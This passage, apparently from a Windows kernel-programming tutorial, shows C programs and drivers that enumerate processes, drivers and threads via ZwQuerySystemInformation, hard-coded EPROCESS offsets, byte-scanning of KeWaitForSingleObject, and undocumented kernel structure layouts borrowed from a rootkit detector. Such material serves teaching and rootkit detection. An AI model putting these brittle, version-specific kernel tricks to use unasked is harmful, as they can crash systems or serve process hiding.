long rc,ReturnLength;
curr = malloc(32768);
h =
LoadLibrary("ntdll.dll");
pZwQuerySystemInformation
= (qtype)GetProcAddress(h,"ZwQuerySystemInformation");
rc =
pZwQuerySystemInformation(5,curr,32768,&ReturnLength);
printf("rc=%ld
ReturnLength=%ld curr=%x\n",rc,ReturnLength,curr);
while(curr->NextEntryDelta
!= 0)
{
printf("%S
curr=%x Delta=%d pid=%d %d Threads=%d
Handles=%d\n",curr->ProcessName.Buffer,curr,curr->NextEntryDelta,curr->ProcessId,curr->InheritedFromProcessId,curr->ThreadCount,curr->HandleCount);
curr = (struct sss
*)((char *)curr + curr->NextEntryDelta);
}
}
rc=0
ReturnLength=26744 curr=2f5170
(null)
curr=2f5170 Delta=248 pid=0 0 Threads=1 Handles=0
System
curr=2f5268 Delta=2568 pid=8 0 Threads=37 Handles=45
This
program simply demonstrates how the task manager uses the
ZwQuerySystemInformation function to get at the list of programs running on the
system. Like before we use the LoadLibrary and GetProcAddress functions to give
us the address of the function. For some reason ntdll.dll has no lib file. We
then call the function though the pointer.
We
pass it the value 5 which stands for list of thread and processes. The second
parameter is the address of a buffer which we create, its length and the last
the address of a long which the system comes back and fills it up with the
number of bytes it has copied into our area of memory.
In
our case our linked list of structures is 26744 bytes large. We then use a loop
to display all the processes and other details. We have on purpose not
displayed the details of the threads, if you want copy the code from the
previous program. Thus all programs under windows finally use the
ZwQuerySystemInformation call like we have demonstrated in the above program.
Once again whether there is a device driver that has trapped the original code
is beyond our comprehension.
P48
x.c
#include
<windows.h>
typedef long
(_stdcall *qtype)(long SystemInformationCLass,void *SystemInformation,long
SystemInformationLength,long * ReturnLength);
qtype
pZwQuerySystemInformation;
main()
{
HANDLE h;
void *curr;
long
rc,ReturnLength,mem;
h =
LoadLibrary("ntdll.dll");
pZwQuerySystemInformation
= (qtype)GetProcAddress(h,"ZwQuerySystemInformation");
rc = -1;
mem = 25000;
while ( rc != 0)
{
curr = malloc(mem);
rc =
pZwQuerySystemInformation(5,curr,mem,&ReturnLength);
printf("mem=%d
rc=%ld ReturnLength=%ld\n",mem,rc,ReturnLength);
mem = mem+1000;
}
}
mem=25000
rc=-1073741820 ReturnLength=0
mem=26000
rc=0 ReturnLength=25416
Our
problem with using the function ZwQuerySystemInformation is that we do not know
how much memory is needed by the function. So what we do is use a loop where we
increase the amount of memory allocated passed in the third parameter until the
function returns zero. We set the mem variable to 25,000 and increase it by
1000 each time. This is what we have done in the above program and break out
when the return value stored in rc is 0.
P49
x.c
#include
<windows.h>
#include
<stdio.h>
#pragma pack(1)
typedef struct
_SYSTEM_MODULE_INFORMATION
{
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT
ModuleNameOffset;
CHAR ImageName[256];
}
SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
long (_stdcall
*pf)(ULONG SystemInformationClass,PVOID SystemInformation,ULONG
SystemInformationLength,PULONG ReturnLength);
int main(void)
{
HANDLE h;
long
rc,ReturnLength,mem,*q,i;
PSYSTEM_MODULE_INFORMATION
p;
h =
LoadLibrary("ntdll.dll");
pf =
GetProcAddress(h,"ZwQuerySystemInformation");
q = malloc(60000);
pf(11,q,60000,0);
p =
(PSYSTEM_MODULE_INFORMATION)(q + 1);
for (i = 0; i <
*q; i++)
printf("base:
0x%x size: %u\t%s\n",p[i].Base,p[i].Size,p[i].ImageName);
return 0;
}
base:
0x80400000 size: 1718784 \WINNT\System32\ntoskrnl.exe
base:
0x80062000 size: 82176 \WINNT\System32\hal.dll
base:
0xeb810000 size: 12288 \WINNT\System32\BOOTVID.DLL
base:
0xf88c1000 size: 163840 ACPI.sys
A long time ago we wrote a program that
displays device drivers on the system. When we call the
ZwQuerySystemInformation with the value 11, we are asking for a list of device
drivers on the system. We are passed a long which if we increase by 1 or 4
actually we point to a structure that looks like SYSTEM_MODULE_INFORMATION a
structure tag that we have defined..
This
is because the pointer we are passed starts with a number that tells us how
many SYSTEM_MODULE_INFORMATION
structures we have. The actual structures start 4 bytes away. This is because
these structures are not linked to each other unlike the process structures.
We
use a for loop to iterate *q times and
print out the base address of the driver, its size and image name. We use the
array notation instead of increasing the pointer p. Like this we can use the
function ZwQuerySystemInformation to give us a list of lots of things happening
on the system. The trouble is that someone in ring 0 can decide that we see the
wrong things
P50
r.c
#include
<ntddk.h>
#include
<stdio.h>
#define
DRV_NAME L"vijayd"
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
IoCompleteRequest(pIrp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
PKTIMER gTimer;
PKDPC gDPCP;
PEPROCESS
curproc;
int
i,offset;
char
*nameptr;
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
KeCancelTimer(
gTimer );
ExFreePool(
gTimer );
ExFreePool(
gDPCP );
}
VOID
abc(PKDPC Dpc,PVOID DeferredContext,PVOID sys1,PVOID sys2)
{
HANDLE
pid,tid;
curproc
= PsGetCurrentProcess ();
nameptr
= (PCHAR) curproc + offset;
pid
= PsGetCurrentProcessId ();
tid
= PsGetCurrentThreadId ();
DbgPrint("%s
pid=%d tid=%d",nameptr,pid,tid);
}
LARGE_INTEGER
timeout;
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
driverObject->DriverUnload
= DriverUnload;
DbgPrint("Vijay
2");
gTimer
= ExAllocatePool (NonPagedPool,sizeof(KTIMER));
gDPCP
= ExAllocatePool(NonPagedPool,sizeof(KDPC));
curproc
= PsGetCurrentProcess();
for(
i = 0; i < 3*PAGE_SIZE; i++ )
{
if(
!strncmp("System", (PCHAR) curproc + i, strlen("System")))
{
offset
= i;
break;
}
}
KeInitializeTimer
(gTimer);
KeInitializeDpc
(gDPCP,abc,0);
KeSetTimerEx
(gTimer,timeout,1000,gDPCP);
return(STATUS_SUCCESS);
}
Vijay
2
System
pid=8 tid=60
WINWORD.EXE
pid=1440 tid=1444
WINWORD.EXE
pid=1440 tid=1444
The
function ExAllocatePool is another malloc for the device driver. This function
is obsolete and gets converted by the compiler to ExAllocatePoolWithTag. This function
allocated memory of type specified in the first parameter which is an enum
POOL_TYPE. The value we have used is NonPagedPool which is a scarce resource
and should be rarely used.
This
is memory that cannot be paged to disk. The bad part of the option we choose is
that we should ask for memory in chunks of PAGE_SIZE as the memory allocated is
a multiple of this. In our case as we have asked for very small amounts of
memory that will be lots of wastage. The second parameter is the size of memory
we want and in our case it is the size of two structures KTIMER and KDPC.
This
function returns a pointer to the newly allocated memory. The tag name used is
kdD which is to be read backwards and gives us Ddk. We then want to print out
the name of every program and we need the offset from the start of the Eprocess
structure, like we did earlier. The KTIMER that we created earlier we want to
initialize it to a non signaled state.
The
function KeInitializeTimer does just that for us. If we do not use this function,
we get the blue screen of death. In the same vein the KeInitializeDpc function
initializes the DPC structure for us. Here we specify the KDPC structure as the
first parameter and most important the function that should be called each time
the timer expires.
In
our case we need the abc function to be called. The last parameter is any data
that we want passed to our function when it gets called. The actual timer will
be set by the function KeSetTimerEx. This is the function that sets the timer
to the signaled state which is another of saying call the timer.
Here
we pass the KDPC object that represents the abc function to be called as the
last parameter, the third parameter is a time in milliseconds which specify
when the timer should be called. The first is the timer object and the second a
LARGE_INTEGER which is nothing but a data type __int64.
The
timeout is set to 0. When we see the output, we realize that every second the
abc function gets called. In the abc function we are displaying the process id
and thread id of the current running program in user space. We use the standard
functions PsGetCurrentProcessId and PsGetCurrentThreadId for this. We also
print the name of the current program by using the function PsGetCurrentProcess
to give us the Eprocess structure.
Looking
at the output you can now see that at times Microsoft Word or WinWord is active
at times System. For the momemt we are not using any of the parameters supplied
to us.
P51
r.c
#include
<ntddk.h>
#include
<stdio.h>
extern
PEPROCESS * PsInitialSystemProcess;
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
PEPROCESS
p,p1;
LIST_ENTRY
*entry, *start;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
p
= (PEPROCESS)PsGetCurrentProcess();
p1
= (PEPROCESS)*PsInitialSystemProcess;
DbgPrint("Vijay
2 p=%x p1=%p",p,p1);
entry
= start = (LIST_ENTRY *)((long)p + 160);
do
{
int
pid = *(long *)((long)entry -4);
DbgPrint("%s
%d %x",(long)entry + 348,pid,(long)entry-160);
entry
= entry->Flink;
}
while(entry != start);
return(STATUS_SUCCESS);
}
Vijay
2 p=8202fb60 p1=8202FB60
System
8 8202fb60
smss.exe
156 81f2fae0
Some
time ago we displayed all processes by using the function PsGetCurrentProcess
which returned a EPROCESS pointer. We then told you that 160 bytes from the
start was the LIST_ENTRY structures and then the name of the running program
was 508 bytes from the start.
We
first initialize two variables entry and list to LIST_ENTRY member Flink that is
stored 160 bytes form the start. We then enter a while loop where we change
entry and not start. We quit out whenever we start and entry become the same
again. We change entry to point to the next Flink and the pid is stored 4 bytes
form entry and name of the program 348 bytes in the opposite direction.
As
this is a circular list at some time entry will have the same value as start.
The point is what if we did not have the function PsGetCurrentProcess.
Fortunately for us we have a variable PsInitialSystemProcess that is a pointer
to a EPROCESS pointer.
We
do not give this variable a value as using extern tells the linker that it is
defined some where else. Using extern is not the same as using
__declspec(dllimport) which is for entities exported. The keyword extern means
that the variable is created somewhere else, we are only using it here.
We
access the EPROCESS pointer by using the * and this is the same value that the
PsGetCurrentProcess function gives us. Thus you have a choice in which way you
want the EPROCESS structure of System.
P52
r.c
#include
<ntddk.h>
#include
<stdio.h>
typedef long DWORD;
typedef short WORD;
typedef char BYTE;
struct
QUOTA_BLOCK
{
/*000*/
DWORD Flags;
/*004*/
DWORD ChargeCount;
/*008*/
DWORD PeakPoolUsage [2]; // NonPagedPool, PagedPool
/*010*/
DWORD PoolUsage [2]; //
NonPagedPool, PagedPool
/*018*/
DWORD PoolQuota [2]; //
NonPagedPool, PagedPool
/*020*/
};
struct
HARDWARE_PTE
{
/*000*/
unsigned Valid : 1;
unsigned Write :
1;
unsigned Owner
: 1;
unsigned WriteThrough :
1;
unsigned CacheDisable :
1;
unsigned Accessed :
1;
unsigned Dirty :
1;
unsigned LargePage :
1;
/*001*/
unsigned Global :
1;
unsigned CopyOnWrite :
1;
unsigned Prototype :
1;
unsigned reserved :
1;
unsigned PageFrameNumber : 20;
/*004*/
};
struct
HANDLE_TABLE
{
/*000*/
DWORD Reserved;
/*004*/
DWORD HandleCount;
/*008*/
void * Layer1; // Complex to
do later
/*00C*/
struct _EPROCESS *Process; // passed to PsChargePoolQuota ()
/*010*/
HANDLE UniqueProcessId;
/*014*/
DWORD NextEntry;
/*018*/
DWORD TotalEntries;
/*01C*/
ERESOURCE HandleTableLock;
/*054*/
LIST_ENTRY HandleTableList;
/*05C*/
KEVENT Event;
/*06C*/
};
struct
MMSUPPORT
{
/*000*/
LARGE_INTEGER LastTrimTime;
/*008*/
DWORD LastTrimFaultCount;
/*00C*/
DWORD PageFaultCount;
/*010*/
DWORD PeakWorkingSetSize;
/*014*/
DWORD WorkingSetSize;
/*018*/
DWORD MinimumWorkingSetSize;
/*01C*/
DWORD MaximumWorkingSetSize;
/*020*/
PVOID VmWorkingSetList;
/*024*/
LIST_ENTRY WorkingSetExpansionLinks;
/*02C*/
BOOLEAN AllowWorkingSetAdjustment;
/*02D*/
BOOLEAN AddressSpaceBeingDeleted;
/*02E*/
BYTE ForegroundSwitchCount;
/*02F*/
BYTE MemoryPriority;
/*030*/
};
struct
KGDTENTRY
{
/*000*/
WORD LimitLow;
/*002*/
WORD BaseLow;
/*004*/
DWORD HighWord;
/*008*/
};
struct
KIDTENTRY
{
/*000*/
WORD Offset;
/*002*/
WORD Selector;
/*004*/
WORD Access;
/*006*/
WORD ExtendedOffset;
/*008*/
};
struct
KPROCESS
{
/*000*/
DISPATCHER_HEADER Header; // DO_TYPE_PROCESS (0x1B)
/*010*/
LIST_ENTRY ProfileListHead;
/*018*/
DWORD DirectoryTableBase;
/*01C*/
DWORD PageTableBase;
/*020*/
struct KGDTENTRY LdtDescriptor;
/*028*/
struct KIDTENTRY Int21Descriptor;
/*030*/
WORD IopmOffset;
/*032*/
BYTE Iopl;
/*033*/
BOOLEAN VdmFlag;
/*034*/
DWORD ActiveProcessors;
/*038*/
DWORD KernelTime; // ticks
/*03C*/
DWORD UserTime; // ticks
/*040*/
LIST_ENTRY ReadyListHead;
/*048*/
LIST_ENTRY SwapListEntry;
/*050*/
LIST_ENTRY ThreadListHead; //
KTHREAD.ThreadListEntry
/*058*/
PVOID ProcessLock;
/*05C*/
KAFFINITY Affinity;
/*060*/
WORD StackCount;
/*062*/
BYTE BasePriority;
/*063*/
BYTE ThreadQuantum;
/*064*/
BOOLEAN AutoAlignment;
/*065*/
BYTE State;
/*066*/
BYTE ThreadSeed;
/*067*/
BOOLEAN DisableBoost;
/*068*/
DWORD d068;
/*06C*/
};
struct
EPROCESS1
{
/*000*/
struct KPROCESS Pcb;
/*06C*/
NTSTATUS ExitStatus;
/*070*/
KEVENT LockEvent;
/*080*/
DWORD LockCount;
/*084*/
DWORD d084;
/*088*/
LARGE_INTEGER CreateTime;
/*090*/
LARGE_INTEGER ExitTime;
/*098*/
PVOID LockOwner;
/*09C*/
DWORD UniqueProcessId;
/*0A0*/
LIST_ENTRY
ActiveProcessLinks;
/*0A8*/
DWORD QuotaPeakPoolUsage
[2]; // NP, P
/*0B0*/
DWORD
QuotaPoolUsage [2]; // NP, P
/*0B8*/
DWORD PagefileUsage;
/*0BC*/
DWORD CommitCharge;
/*0C0*/
DWORD
PeakPagefileUsage;
/*0C4*/
DWORD PeakVirtualSize;
/*0C8*/
LARGE_INTEGER VirtualSize;
/*0D0*/
struct MMSUPPORT Vm;
/*100*/
DWORD d100;
/*104*/
DWORD d104;
/*108*/
DWORD d108;
/*10C*/
DWORD d10C;
/*110*/
DWORD d110;
/*114*/
DWORD d114;
/*118*/
DWORD d118;
/*11C*/
DWORD d11C;
/*120*/
PVOID DebugPort;
/*124*/
PVOID ExceptionPort;
/*128*/
struct HANDLE_TABLE *ObjectTable;
/*12C*/
PVOID Token;
/*130*/
FAST_MUTEX WorkingSetLock;
/*150*/
DWORD WorkingSetPage;
/*154*/
BOOLEAN
ProcessOutswapEnabled;
/*155*/
BOOLEAN ProcessOutswapped;
/*156*/
BOOLEAN
AddressSpaceInitialized;
/*157*/
BOOLEAN
AddressSpaceDeleted;
/*158*/
FAST_MUTEX
AddressCreationLock;
/*178*/
KSPIN_LOCK HyperSpaceLock;
/*17C*/
DWORD ForkInProgress;
/*180*/
WORD VmOperation;
/*182*/
BOOLEAN
ForkWasSuccessful;
/*183*/
BYTE
MmAgressiveWsTrimMask;
/*184*/
DWORD VmOperationEvent;
/*188*/
struct HARDWARE_PTE PageDirectoryPte;
/*18C*/
DWORD LastFaultCount;
/*190*/
DWORD
ModifiedPageCount;
/*194*/
PVOID VadRoot;
/*198*/
PVOID VadHint;
/*19C*/
PVOID CloneRoot;
/*1A0*/
DWORD NumberOfPrivatePages;
/*1A4*/
DWORD
NumberOfLockedPages;
/*1A8*/
WORD NextPageColor;
/*1AA*/
BOOLEAN
ExitProcessCalled;
/*1AB*/
BOOLEAN
CreateProcessReported;
/*1AC*/
HANDLE SectionHandle;
/*1B0*/
struct _PEB *Peb;
/*1B4*/
PVOID
SectionBaseAddress;
/*1B8*/
struct QUOTA_BLOCK *QuotaBlock;
/*1BC*/
NTSTATUS
LastThreadExitStatus;
/*1C0*/
DWORD WorkingSetWatch;
/*1C4*/
HANDLE
Win32WindowStation;
/*1C8*/
DWORD
InheritedFromUniqueProcessId;
/*1CC*/
ACCESS_MASK GrantedAccess;
/*1D0*/
DWORD
DefaultHardErrorProcessing; // HEM_*
/*1D4*/
DWORD LdtInformation;
/*1D8*/
PVOID VadFreeHint;
/*1DC*/
DWORD VdmObjects;
/*1E0*/
PVOID DeviceMap; //
0x24 bytes
/*1E4*/
DWORD SessionId;
/*1E8*/
DWORD d1E8;
/*1EC*/
DWORD d1EC;
/*1F0*/
DWORD d1F0;
/*1F4*/
DWORD d1F4;
/*1F8*/
DWORD d1F8;
/*1FC*/
BYTE ImageFileName
[16];
/*20C*/
DWORD VmTrimFaultValue;
/*210*/
BYTE SetTimerResolution;
/*211*/
BYTE PriorityClass;
/*212*/
union
{
struct
{
/*212*/ BYTE SubSystemMinorVersion;
/*213*/ BYTE SubSystemMajorVersion;
};
struct
{
/*212*/ WORD SubSystemVersion;
};
};
/*214*/
struct _WIN32_PROCESS *Win32Process;
/*218*/
DWORD d218;
/*21C*/
DWORD d21C;
/*220*/
DWORD d220;
/*224*/
DWORD d224;
/*228*/
DWORD d228;
/*22C*/
DWORD d22C;
/*230*/
PVOID Wow64;
/*234*/
DWORD d234;
/*238*/
IO_COUNTERS IoCounters;
/*268*/
DWORD d268;
/*26C*/
DWORD d26C;
/*270*/
DWORD d270;
/*274*/
DWORD d274;
/*278*/
DWORD d278;
/*27C*/
DWORD d27C;
/*280*/
DWORD d280;
/*284*/
DWORD d284;
};
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
struct
EPROCESS1 *p;
LIST_ENTRY
*entry, *start;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
p
= (struct EPROCESS1 *)PsGetCurrentProcess();
DbgPrint("Vijay
2 p=%x",p);
entry
= start = (LIST_ENTRY *)p->ActiveProcessLinks.Flink;
do
{
DbgPrint("%s
%d",p->ImageFileName,p->UniqueProcessId);
entry
= entry->Flink;
p
= (struct EPROCESS1 *)((char *)entry - 160);
}
while(entry != start);
return(STATUS_SUCCESS);
}
Vijay
2 p=8202fb60
System
8
csrss.exe
180
If
you look at the above program output you will wonder why are we displaying the same
output which is nothing but a list of processes running on the system. Also the
program is slightly too large for our liking. All that we have done is created
a structure tag EPROCESS1 tag represents the actual EPROCESS structure.
As
mentioned before, this structure is not documented by Microsoft. It is one of
the largest structures we have seen and we found it in a header file in the
Klister rootkit. Wonder how people find out these undocumented structures. Going back to our code we use
the same LIST_ENTRY pointers but use members of the EPROCESS structure to print
out the pid and name of the process instead of using hard coded offsets.
The
problem is that we yet have to subtract 160 from the LIST_ENTRY pointers as
they point to the LIST_ENTRY structures and we have no pointer to the start of
the EPROCESS structure. Some day we would like you to print out every member of
the structures shown above.
P53
p.c
main()
{
__asm
int 3
__asm
mov ecx,3
__asm
test al,al
}
cl
p.c
Lots
of times we would like to scan the code of functions looking for certain bytes.
Lets say we know that a certain function uses the mov instruction to move a
value in the ecx register and then uses the test instruction to test the value
of the al instruction.
We
would like to know the actual bytes that this code snippet generates. In a C
program using the _asm keyword we are allowed to embed assembler instructions
anywhere we like. The int 3 calls the debugger. We click ob Cancel and when we
are in the debugger, we click on right mouse button and check code bytes. We
will see the following output.
00401006
CC int 3
00401007
B9 03 00 00 00 mov ecx,3
0040100C
84 C0 test al,al
This
tells us that the instruction int 3 becomes CC. The mov ecx starts with B9
followed by the 4 bytes we are moving into it. The test al is 84 c0.
P54
r.c
#include
<ntddk.h>
#include
<stdio.h>
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
LIST_ENTRY
*cur, *start;
unsigned
long val,i;
long
gKiWaitInListHead;
unsigned
char *ptr;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
ptr
= (unsigned char *) KeWaitForSingleObject;
for(
i = 0; i < 4096; i++ )
{
if(*ptr
== 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 &&
*(ptr+24) == 0xb9)
{
gKiWaitInListHead
= *(long *)(ptr + 1);
break;
}
ptr++;
}
DbgPrint("%x",gKiWaitInListHead);
start
= (LIST_ENTRY *)gKiWaitInListHead;
cur
= start->Flink;
do
{
val
= (long)cur + 388;
val
= *(long *)val;
i
= (long)cur + 464;
i
= *(long *)i;
DbgPrint("%d
%d %s",val,*(long *)(i + 156),i + 508);
cur
= cur->Flink;
}
while(cur != start);
return(STATUS_SUCCESS);
}
80482258
228
228 services.exe
228
228 services.exe
388
388 msdev.exe
240
240 lsass.exe
240
240 lsass.exe
The
next series of programs talk about threads. The OS maintains two pointers of
thread structures that are not a state to be running for some reason. We will
figure out the addresses of these linked lists and display the processes which
own these threads. These linked list are denoted as KiWaitInListHead and
KiWaitOutListHead.
The
above program once again displays the names of programs and their pids. It
however displays then more than once. We have a documented function in the DDK
called KeWaitForSingleObject. This function we will explain later. All that it
does on a large scale is let the current thread wait. This means that it should
have some knowledge about the current thread.
We
store its starting memory address denoted by its name in the variable ptr and
scan the first 4096 memory locations looking for a certain series of
bytes. These are what we showed you in
the above example. Thus we check for the b9 as the first bytes, followed by
some number and then the op codes 84 and c0 for the test. We also check for
another mov instruction 24 bytes later.
The
value moved into the ecx register is the pointer we are waiting for. We store
this value in the variable gKiWaitInListHead.
The point we are making is that Windows stores a list of threads in a
linked list. We want access to this linked list. The problem is that there are
no exported variables that point to any member of this list. Thus someone went
through the disassembly of the function KeWaitForSingleObject.
We
realized that within the code for this function, the address of a thread was
being placed into the ecx register. This was followed by the test instruction.
There was also another pointer being stored in the ecx register 24 bytes away.
The minute we scan the memory of the function KeWaitForSingleObject and come
across the above bytes, we know that we have a addresses of a thread pointer.
Crude but simple and it works.
This
pointer is actually a LIST_ENTRY pointer with the associated Flinks and Blinks.
We set curr to Flink and then loop like before until cur and start become equal
again. We then add 388 to curr so that we point to the pid of the program that
owns the thread.
We
then add 464 to curr which gives us a location where we have the EPROCESS
pointer of the process stored. 5-8 bytes later gives us the name of the
process. Just to prove that we have a EPROCESS pointer we are displaying the
pid stored at 156 from the start.
P55
r.c
#include
<ntddk.h>
#include
<stdio.h>
typedef long DWORD;
typedef short WORD;
typedef char BYTE;
typedef char BOOL;
struct
SYSTEM_SERVICE_TABLE
{
/*000*/
void *ServiceTable; // array of entry points
/*004*/
DWORD *CounterTable; // array of usage counters
/*008*/
DWORD ServiceLimit; // number of table entries
/*00C*/
BYTE *ArgumentTable; // array of byte counts
/*010*/
};
struct
SERVICE_DESCRIPTOR_TABLE
{
/*000*/
struct SYSTEM_SERVICE_TABLE ntoskrnl;
// ntoskrnl.exe (native api)
/*010*/
struct SYSTEM_SERVICE_TABLE win32k; //
win32k.sys (gdi/user)
/*020*/
struct SYSTEM_SERVICE_TABLE Table3;
// not used
/*030*/
struct SYSTEM_SERVICE_TABLE Table4;
// not used
/*040*/
};
struct
KAPC_STATE
{
/*000*/
LIST_ENTRY ApcListHead [2];
/*010*/
struct _KPROCESS *Process;
/*014*/
BOOLEAN KernelApcInProgress;
/*015*/
BOOLEAN KernelApcPending;
/*016*/
BOOLEAN UserApcPending;
/*017*/
BOOLEAN Reserved;
/*018*/
};
struct
KTHREAD
{
/*000*/
DISPATCHER_HEADER Header; //
DO_TYPE_THREAD (0x6C)
/*010*/
LIST_ENTRY
MutantListHead;
/*018*/
PVOID InitialStack;
/*01C*/
PVOID StackLimit;
/*020*/
struct _TEB *Teb;
/*024*/
PVOID TlsArray;
/*028*/
PVOID KernelStack;
/*02C*/
BOOLEAN DebugActive;
/*02D*/
BYTE State; //
THREAD_STATE_*
/*02E*/
BOOLEAN Alerted;
/*02F*/
BYTE bReserved01;
/*030*/
BYTE Iopl;
/*031*/
BYTE NpxState;
/*032*/
BYTE Saturation;
/*033*/
BYTE Priority;
/*034*/
struct KAPC_STATE
ApcState;
/*04C*/
DWORD
ContextSwitches;
/*050*/
DWORD WaitStatus;
/*054*/
BYTE WaitIrql;
/*055*/
BYTE WaitMode;
/*056*/
BYTE WaitNext;
/*057*/
BYTE WaitReason;
/*058*/
PLIST_ENTRY WaitBlockList;
/*05C*/
LIST_ENTRY WaitListEntry;
/*064*/
DWORD WaitTime;
/*068*/
BYTE BasePriority;
/*069*/
BYTE
DecrementCount;
/*06A*/
BYTE
PriorityDecrement;
/*06B*/
BYTE Quantum;
/*06C*/
KWAIT_BLOCK WaitBlock [4];
/*0CC*/
DWORD LegoData;
/*0D0*/
DWORD
KernelApcDisable;
/*0D4*/
KAFFINITY UserAffinity;
/*0D8*/
BOOLEAN SystemAffinityActive;
/*0D9*/
BYTE Pad [3];
/*0DC*/
struct SERVICE_DESCRIPTOR_TABLE *pServiceDescriptorTable;
/*0E0*/
PVOID Queue;
/*0E4*/
PVOID ApcQueueLock;
/*0E8*/
KTIMER Timer;
/*110*/
LIST_ENTRY
QueueListEntry;
/*118*/
KAFFINITY Affinity;
/*11C*/
BOOLEAN Preempted;
/*11D*/
BOOLEAN
ProcessReadyQueue;
/*11E*/
BOOLEAN
KernelStackResident;
/*11F*/
BYTE NextProcessor;
/*120*/
PVOID CallbackStack;
/*124*/
struct _WIN32_THREAD *Win32Thread;
/*128*/
PVOID TrapFrame;
/*12C*/
struct KAPC_STATE
*ApcStatePointer;
/*130*/
PVOID p130;
/*134*/
BOOLEAN
EnableStackSwap;
/*135*/
BOOLEAN LargeStack;
/*136*/
BYTE ResourceIndex;
/*137*/
KPROCESSOR_MODE PreviousMode;
/*138*/
DWORD KernelTime; // ticks
/*13C*/
DWORD UserTime; // ticks
/*140*/
struct KAPC_STATE
SavedApcState;
/*158*/
BOOLEAN Alertable;
/*159*/
BYTE ApcStateIndex;
/*15A*/
BOOLEAN ApcQueueable;
/*15B*/
BOOLEAN AutoAlignment;
/*15C*/
PVOID StackBase;
/*160*/
KAPC SuspendApc;
/*190*/
KSEMAPHORE
SuspendSemaphore;
/*1A4*/
LIST_ENTRY ThreadListEntry; // see KPROCESS
/*1AC*/
BYTE FreezeCount;
/*1AD*/
BYTE SuspendCount;
/*1AE*/
BYTE
IdealProcessor;
/*1AF*/
BOOLEAN DisableBoost;
/*1B0*/
};
struct
ETHREAD
{
/*000*/
struct KTHREAD Tcb;
/*1B0*/
LARGE_INTEGER CreateTime;
/*1B8*/
union
{
/*1B8*/ LARGE_INTEGER ExitTime;
/*1B8*/ LIST_ENTRY LpcReplyChain;
};
/*1C0*/
union
{
/*1C0*/ NTSTATUS ExitStatus;
/*1C0*/ DWORD OfsChain;
};
/*1C4*/
LIST_ENTRY PostBlockList;
/*1CC*/
LIST_ENTRY TerminationPortList;
/*1D4*/
PVOID ActiveTimerListLock;
/*1D8*/
LIST_ENTRY ActiveTimerListHead;
/*1E0*/
CLIENT_ID Cid;
/*1E8*/
KSEMAPHORE LpcReplySemaphore;
/*1FC*/
DWORD LpcReplyMessage;
/*200*/
DWORD LpcReplyMessageId;
/*204*/
DWORD PerformanceCountLow;
/*208*/
DWORD ImpersonationInfo;
/*20C*/
LIST_ENTRY IrpList;
/*214*/
PVOID TopLevelIrp;
/*218*/
PVOID DeviceToVerify;
/*21C*/
DWORD ReadClusterSize;
/*220*/
BOOLEAN ForwardClusterOnly;
/*221*/
BOOLEAN
DisablePageFaultClustering;
/*222*/
BOOLEAN DeadThread;
/*223*/
BOOLEAN Reserved;
/*224*/
BOOL HasTerminated;
/*228*/
ACCESS_MASK GrantedAccess;
/*22C*/
PEPROCESS ThreadsProcess;
/*230*/
PVOID StartAddress;
/*234*/
union
{
/*234*/ PVOID Win32StartAddress;
/*234*/ DWORD LpcReceivedMessageId;
};
/*238*/
BOOLEAN LpcExitThreadCalled;
/*239*/
BOOLEAN HardErrorsAreDisabled;
/*23A*/
BOOLEAN LpcReceivedMsgIdValid;
/*23B*/
BOOLEAN ActiveImpersonationInfo;
/*23C*/
DWORD PerformanceCountHigh;
/*240*/
DWORD d240;
/*244*/
DWORD d244;
/*248*/
};
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
LIST_ENTRY
*cur, *start;
unsigned
long val,i;
long
gKiWaitInListHead;
unsigned
char *ptr;
struct
ETHREAD *pethread;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
ptr
= (unsigned char *)KeWaitForSingleObject;
for(
i = 0; i < 4096; i++ )
{
if(*ptr
== 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 &&
*(ptr+24) == 0xb9)
{
gKiWaitInListHead
